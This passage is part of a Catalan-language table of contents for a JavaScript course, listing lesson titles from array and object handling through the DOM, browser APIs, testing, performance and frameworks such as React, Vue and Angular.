- Cercar, Ordenar i Agregar Dades: find, sort i reduce
- Desestructuració d'Arrays
- Desestructuració d'Objectes, Spread i Rest
- JSON i Còpies d'Objectes
Mòdul 5: Objectes i Funcions Avançades
- Prototips i Herència
- Classes i Programació Orientada a Objectes
- Encapsulació: Getters, Setters i Camps Privats
- Mòduls i Importació/Exportació
- JavaScript Asíncron: Callbacks
- Promeses i Async/Await
- El Bucle d'Esdeveniments i la Cua de Microtasques
- Iteradors i Generadors
Mòdul 6: El Model d'Objectes del Document (DOM)
- Introducció al DOM
- Selecció i Manipulació d'Elements del DOM
- Gestió d'Esdeveniments
- Propagació, Delegació i Esdeveniments Personalitzats
- Creació i Eliminació d'Elements del DOM
- Renderitzat de Llistes i Plantilles HTML
- Gestió i Validació de Formularis
Mòdul 7: APIs del Navegador i Temes Avançats
- Emmagatzematge Local i de Sessió
- Fetch API i AJAX
- Peticions Robustes: Errors, Timeouts i AbortController
- WebSockets
- Service Workers i Aplicacions Web Progressives (PWAs)
- APIs del Navegador Essencials
- Introducció a WebAssembly
Mòdul 8: Proves i Depuració
- Depuració de JavaScript
- Qualitat de Codi: ESLint, Prettier i Convencions
- Proves Unitàries amb Jest
- Dobles de Prova: Mocks, Stubs i Spies
- Proves d'Integració
- Proves d'Extrem a Extrem amb Cypress
Mòdul 9: Rendiment i Optimització
- Mesurar Abans d'Optimitzar: DevTools i Web Vitals
- Optimització del Rendiment de JavaScript
- Gestió de Memòria
- Manipulació Eficient del DOM
- Càrrega Diferida i Divisió de Codi
Mòdul 10: Frameworks i Llibreries de JavaScript
- Per Què Existeixen els Frameworks
- Introducció a React
- Gestió d'Estat amb Redux
- Conceptes Bàsics de Vue.js
- Conceptes Bàsics d'Angular
- Triar el Framework Adequat
